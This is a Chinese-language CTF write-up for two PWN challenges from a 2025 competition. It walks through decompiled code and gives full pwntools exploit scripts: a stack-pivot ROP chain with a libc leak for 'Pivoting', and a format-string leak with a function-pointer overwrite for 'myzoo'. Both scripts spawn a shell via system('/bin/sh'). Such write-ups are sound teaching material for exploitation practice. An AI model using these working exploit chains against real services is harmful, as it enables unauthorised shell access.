2025鹏城杯-PWN-WP

First Post:

Last Update:

Page View: loading...

pcb5-Pivoting

看题目名就是一道栈迁移

老规矩先chekcsec

1
2
3
4
5
6
7
8
9
10
> checksec pwn
[*] '/home/jian/Desktop/jiaoben/pcb/Pivoting/附件/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

只有个NX

进ida里看看

main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax
size_t v4; // rax
int buf[20]; // [rsp+0h] [rbp-50h] BYREF
__int64 v7; // [rsp+78h] [rbp+28h] BYREF

init(argc, argv, envp);
v3 = strlen(a1);
write(1, a1, v3);
v4 = strlen(a2);
write(1, a2, v4);
write(1, &v7, 0x10uLL);
write(1, &unk_402007, 1uLL);
read(0, buf, 0x40uLL);
do
buf[19] = Business(buf);
while ( flag );
write(1, "please let me check again\n", 0x1AuLL);
write(1, "Thanks for your coming\n", 0x17uLL);
return 0;
}

Business:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
__int64 __fastcall Business(int *a1)
{
size_t v1; // rax
size_t v2; // rax
size_t v3; // rax
size_t v4; // rax
size_t v5; // rax
size_t v6; // rax
size_t v7; // rax
unsigned int v9; // [rsp+18h] [rbp-28h] BYREF
int v10[9]; // [rsp+1Ch] [rbp-24h] BYREF

v10[0] = 0;
v9 = 0;
v1 = strlen(a3);
write(1, a3, v1);
__isoc99_scanf(&unk_402004, v10);
if ( v10[0] )
{
v5 = strlen(a6);
write(1, a6, v5);
__isoc99_scanf(&unk_402004, &v9);
v6 = strlen(a7);
write(1, a7, v6);
read(0, a1, 0x60uLL);
v7 = strlen(a8);
write(1, a8, v7);
}
else
{
v2 = strlen(a4);
write(1, a4, v2);
__isoc99_scanf(&unk_402004, &v9);
v3 = strlen(a5);
write(1, a5, v3);
v4 = strlen(a5);
write(1, (const void *)*a1, v4); // 可以泄露出libc,a1填write_got
flag = 0;
}
return v9;
}

思路:

1
write(1, &v7, 0x10uLL);

main函数这里会打印出栈中的某个地址,我们可以根据这个地址算出buf的地址以及其他的地址

仔细看

1
write(1, (const void *)*a1, v4); 

这里我们a1是可以控制的,因此我们可以利用write泄露出write_addr然后计算出libc基地址,但是 flag = 0;这一行代码很致命,因为我们如果flag = 0

1
2
3
do
buf[19] = Business(buf);
while ( flag );

我们将无法继续循环,程序将退出,

但是

1
read(0, a1, 0x60uLL);

这里存在溢出

因此我们可以覆盖其main返回地址,main退出的时候会返回到libc_start_main

image-20251213051846519

在我们覆盖返回地址后再次返回main函数

然后我们再次进入Business函数,

同样的步骤,后面打栈迁移覆盖main函数返回地址为leave_ret,返回地址-0x8(main_rbp)填为我们程序泄露的a1要是开局直接给准确不用算的就好了地址后面就是执行rop链了

image-20251213051333806

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context.log_level = 'debug'

psl = lambda data : p.sendline(data)
ps = lambda data : p.send(data)
pc = lambda data : p.recvuntil(data)
ph = lambda data : print(hex(data))
uu64 = lambda : u64(pc(b'\x7f')[-6::].ljust(8,b'\x00'))
binary_name = './pwn'

HOST = "192.168.18.21"
PORT = 26005
choice = input("Please input yes->Process,no->Remote")
if "y" in choice:
p = process(binary_name)
elif "n" in choice:
p = remote(HOST,PORT)
libc = ELF("libc.so.6")
e = ELF(binary_name)
def bug():
gdb.attach(p)
pause()

# ========== Exploit 开始 ==========
def exp():
leave_ret =0x4014C8
rbp= uu64()-0x170
pop_rdi = 0x000000004014f5
ret = 0x000000000040101a
main = 0x4010D0
ph(rbp)
write_got =e.got['write']

rsp = rbp + 0x4
IO_stderr = rbp-0x48
p1 = b'/bin/sh\x00'
psl(p1)
pc("What can I do for you?")
psl(b'1')
sleep(1)
pc("How much money would you like to withdraw?")
psl(b'1')
pc("Are you sure?")
#bug()
psl(p64(write_got).ljust(0x58,b'\x00')+p64(main))
pause()
pc("What can I do for you?")
psl(b'0')
pc("How much money would you like to save?")
psl(b'1')
write_addr = uu64()
ph(write_addr)
#pause()
base = write_addr - libc.sym['write']
ph(base)
system = base + libc.sym['system']
binsh = base + next(libc.search('/bin/sh\x00'))
pause()

pc("Please tell me your name")
psl("1angx")
pause()
#bug()
pc("What can I do for you?")
psl(b'1')
pc("How much money would you like to withdraw?")
psl(b'1')

pc("Are you sure?")

psl(p64(ret)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)+b'\x00'*0x28+p64(rbp-0xf0)+p64(leave_ret))

pause()
p.interactive()
exp()

image-20251213051617084

出题人还塞一个假的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
I know
please let me check again
Thanks for your coming
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x33 bytes:
b'core.34920\n'
b'flag\n'
b'ld-linux-x86-64.so.2\n'
b'libc.so.6\n'
b'pwn\n'
core.34920
flag#fake
ld-linux-x86-64.so.2
libc.so.6
pwn
#太阴了

pcb5-myzoo

依旧老规矩

1
2
3
4
5
6
7
8
9
> checksec pwn
[*] '/home/jian/Desktop/jiaoben/pcb/myzoo/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled

一片绿

分析伪代码:

main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+Ch] [rbp-24h] BYREF
char *v5; // [rsp+10h] [rbp-20h]
__int64 v6; // [rsp+18h] [rbp-18h]
void *ptr; // [rsp+20h] [rbp-10h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]

v8 = __readfsqword(0x28u);
sub_1D99(a1, a2, a3);
::ptr = malloc(0x60uLL);
if ( ::ptr )
{
memset(::ptr, 0, 0x60uLL);
*(_DWORD *)::ptr = 3;
v5 = dog_0("Buddy", 3, "Golden Retriever", 12.5);
v6 = cat_0("kitty", 2LL, *(double *)_mm_cvtsi32_si128(0x41500000u).m128i_i64);
ptr = (void *)bird_0("casa", 1LL, "common bird");
while ( 1 )
{
menu();
printf("gift@%p\n", sub_12C9);
if ( (unsigned int)__isoc99_scanf("%d", &v4) != 1 )
break;
if ( v4 == 3 )
{
bird((__int64)ptr);
}
else
{
if ( v4 > 3 )
goto LABEL_13;
if ( v4 == 1 )
{
dog(v5);
}
else
{
if ( v4 != 2 )
LABEL_13:
_exit(0);
cat(v6);
}
}
}
free_0(v5);
free_1(v6);
free(ptr);
free(::ptr);
return 0LL;
}
else
{
perror("malloc");
return 1LL;
}
}

一眼菜单堆题

bird:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned __int64 __fastcall bird(__int64 a1)
{
char s1[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( *(_DWORD *)ptr == 3 )
{
*(_DWORD *)ptr = 2;
strncpy((char *)ptr + 44, (const char *)(a1 + 36), 0x2BuLL);
*((_BYTE *)ptr + 87) = 0;
*((_DWORD *)ptr + 10) = *(_DWORD *)(a1 + 32);
strncpy((char *)ptr + 8, (const char *)a1, 0x1FuLL);
*((_BYTE *)ptr + 39) = 0;
*((_QWORD *)ptr + 11) = sub_14DD;
}
sub_1550((__int64)ptr + 8);
(*((void (__fastcall **)(char *))ptr + 11))((char *)ptr + 8);
puts(&byte_214E);
if ( (unsigned int)__isoc99_scanf("%4s", s1) == 1 && !strcmp(s1, "yes") )
{
sub_151E((char *)ptr + 8);
printf(&byte_21A8, (char *)ptr + 44);
if ( (unsigned int)__isoc99_scanf("%4s", s1) == 1 && !strcmp(s1, "yes") )
{
puts(&byte_21CA);
read(0, (char *)ptr + 44, 0x2CuLL);
}
}
else
{
puts("bye");
memset(ptr, 0, 0x60uLL);
*(_DWORD *)ptr = 3;
}
return v3 - __readfsqword(0x28u);
}

dog:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 __fastcall dog(__int64 a1)
{
char s1[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( *(_DWORD *)ptr == 3 )
{
*(_DWORD *)ptr = 0;
strncpy((char *)ptr + 48, (const char *)(a1 + 40), 0x1FuLL);
*((_BYTE *)ptr + 79) = 0;
*((_DWORD *)ptr + 10) = *(_DWORD *)(a1 + 32);
*((_DWORD *)ptr + 11) = *(_DWORD *)(a1 + 36);
strncpy((char *)ptr + 8, (const char *)a1, 0x1FuLL);
*((_BYTE *)ptr + 39) = 0;
*((_QWORD *)ptr + 10) = sub_12C9;
}
sub_134B((char *)ptr + 8);
(*((void (__fastcall **)(char *))ptr + 10))((char *)ptr + 8);
puts(&byte_214E);
if ( (unsigned int)__isoc99_scanf("%4s", s1) != 1 || strcmp(s1, "yes") )
goto LABEL_8;
if ( *((float *)ptr + 11) <= 20.0 )
{
sub_12FB((char *)ptr + 8);
LABEL_8:
puts("bye");
memset(ptr, 0, 0x60uLL);
*(_DWORD *)ptr = 3;
return v3 - __readfsqword(0x28u);
}
puts(&byte_2169);
return v3 - __readfsqword(0x28u);
}

cat:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 __fastcall sub_180B(__int64 a1)
{
char s1[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( *(_DWORD *)ptr == 3 )
{
*(_DWORD *)ptr = 1;
strncpy((char *)ptr + 8, (const char *)a1, 0x1FuLL);
*((_BYTE *)ptr + 39) = 0;
*((_DWORD *)ptr + 10) = *(_DWORD *)(a1 + 32);
*((_DWORD *)ptr + 11) = *(_DWORD *)(a1 + 36);
*((_QWORD *)ptr + 6) = sub_13DA;
}
sub_1454((char *)ptr + 8);
(*((void (__fastcall **)(char *))ptr + 6))((char *)ptr + 8);
puts(&byte_2183);
if ( (unsigned int)__isoc99_scanf("%4s", s1) == 1 && !strcmp(s1, "yes") )
{
puts(&byte_219C);
read(0, (char *)ptr + 8, 0x20uLL);
}
else
{
puts("bye");
memset(ptr, 0, 0x60uLL);
*(_DWORD *)ptr = 3;
}
return v3 - __readfsqword(0x28u);
}

解题思路:

第一眼以为是要用house 系列,但是发现利用不了

首先把gift接收了算出pie基地址

在bird中发现

1
2
3
4
5
if ( (unsigned int)__isoc99_scanf("%4s", s1) == 1 && !strcmp(s1, "yes") )
{
puts(&byte_21CA);
read(0, (char *)ptr + 44, 0x2CuLL);
}

这里可以往ptr+44的位置里读入0x2c个字节

也就是说这一块内存是我们可控的

image-20251213174041507

在cat中我们也可以操纵ptr+8~ptr+0x28的chunk

1
2
3
4
5
if ( (unsigned int)__isoc99_scanf("%4s", s1) == 1 && !strcmp(s1, "yes") )
{
puts(&byte_219C);
read(0, (char *)ptr + 8, 0x20uLL); //ptr+8~ptr+0x28
}

并且观察其他函数不难发现基本上很多地方都是利用到了ptr来调用函数

1
2
cat: (*((void (__fastcall **)(char *))ptr + 6))((char *)ptr + 8);
dog: (*((void (__fastcall **)(char *))ptr + 10))((char *)ptr + 8);

在实际调试的时候我们发现cat中:

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:00000000000018BA                 mov     rax, cs:ptr
.text:00000000000018C1 mov rax, [rax+30h]
.text:00000000000018C5 mov rdx, cs:ptr
.text:00000000000018CC add rdx, 8
.text:00000000000018D0 mov rdi, rdx
.text:00000000000018D3 call rax

0x55784da048ba mov rax, qword ptr [rip + 0x278f] RAX, [0x55784da07050] => 0x5578772972a0 ◂— 2
0x55784da048c1 mov rax, qword ptr [rax + 0x30] RAX, [0x5578772972d0] => 0x55784da0401a ◂— ret
0x55784da048c5 mov rdx, qword ptr [rip + 0x2784] RDX, [0x55784da07050] => 0x5578772972a0 ◂— 2
0x55784da048cc add rdx, 8 RDX => 0x5578772972a8 (0x5578772972a0 + 0x8)
0x55784da048d0 mov rdi, rdx RDI => 0x5578772972a8 ◂— 'common bird'
► 0x55784da048d3 call rax

会调用rax而rax是ptr+30的位置0x5578772972d0,而这块内存我们之前已经说明是可控的,所以我们可以布置一些magic来泄露出libc

在调用完鸟后再调用完猫后,我们再次调用狗可以发现它调用的一个函数存在很明显的格式化字符串漏洞,利用这点我们就可以泄露出libc了

1
2
3
4
5
6
7
8
 sub_134B((char *)ptr + 8);
int __fastcall sub_134B(__int64 a1)
{
printf("鍚嶅瓧: %s\n", (const char *)(a1 + 40));
printf("骞撮緞: %d\n", *(unsigned int *)(a1 + 32));
printf((const char *)a1); //格式字符串漏洞
return printf(asc_2043, *(float *)(a1 + 36));
}

在调试的时候发现偏移为23(0x11+6)

image-20251213181521042

1
2
pwndbg> distance 0x7f709d400000 0x7f709d429d90
0x7f709d400000->0x7f709d429d90 is 0x29d90 bytes (0x53b2 words)

直接vmmap算偏移然后算出基地址

1
2
3
4
leak_libc = int(p.recv(12),16)
ph(leak_libc)

base = leak_libc -0x29d90

泄露出libc就好办了

后面我们直接和前面一样的步骤(*((void (__fastcall **)(char *))ptr + 10))((char * )ptr + 8) ;将 ptr+0x50的位置布置为system (char * )ptr + 8的位置布置为/bin/sh\x00后面再次利用dog就可以触发system(‘’/bin/sh“)了

image-20251213183439061

1
2
3
4
5
p3 = b'a'*4+p64(ret)*4+p64(system) #
bird(p3)

cat(b'yes','/bin/sh\x00')
psl(str(1))

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *
context.log_level = 'debug'

psl = lambda data : p.sendline(data)
ps = lambda data : p.send(data)
pc = lambda data : p.recvuntil(data)
ph = lambda data : print(hex(data))
uu64 = lambda : u64(pc(b'\x7f')[-6::].ljust(8,b'\x00'))
binary_name = './pwn'

HOST = "192.168.18.24"
PORT = 26004
choice = input("Please input yes->Process,no->Remote")
if "y" in choice:
p = process(binary_name)
elif "n" in choice:
p = remote(HOST,PORT)
libc = ELF("./libc.so.6")
e = ELF(binary_name)
def bug():
gdb.attach(p)
pause()
def cmd(choice):
pc("gift@0x")
gift = int(p.recv(12),16)
psl(str(choice))
return gift

def dog():
cmd(1)
pc("你想要喂它吗")
psl(b'yes')

def cat(choice,payload):
cmd(2)
pc("你想给它起外号?")
psl(choice)
if choice == b'yes':
pc("随你吧")
psl(payload)

def bird(payload):
cmd(3)
pc("你想要喂它吗")
psl(b'yes')
pc("你说casa不符合他的性格?")
psl(b'yes')
pc("那你起个名字吧")
psl(payload)
# ========== Exploit 开始 ==========
def exp():

gift = cmd(3)
base = gift -0x12c9
bird_addr = base+1997
main = base +0x1de0
ret =base+0x000000000000101a
puts_plt = base+e.plt['puts']
puts_got = base+e.got['puts']
pc("你想要喂它吗")
psl(b'yes')

pc("你说casa不符合他的性格?")
psl(b'yes')

pc("那你起个名字吧")

p0 = b'a'*4+p64(ret)+p64(puts_got)+p64(0)+p64(0)+p64(main)#为什么这里要+P64(main)因为这里我们在调用dog的时候发现它会调用ptr+0x50所以为了正常返回main中我们填入main函数地址
psl(p0)

ph(gift)
p1 =b'%23$p'+b'\x00'*4+p64(puts_got)
cat(b'yes',p1)
#psl(str(1))

pc(f"gift@{hex(gift)}")
#bug()
psl(str(1))
pc(b'0x')
leak_libc = int(p.recv(12),16)
ph(leak_libc)

base = leak_libc -0x29d90
ph(base)
bug()
system = base + libc.sym['system']
binsh = base + next(libc.search('/bin/sh\x00'))
p3 = b'a'*4+p64(ret)*4+p64(system)
bird(p3)

cat(b'yes','/bin/sh\x00')
psl(str(1))






p.interactive()
exp()

flag:

image-20251213181947809

和上面那题一样依旧有个假的,但已经有经验了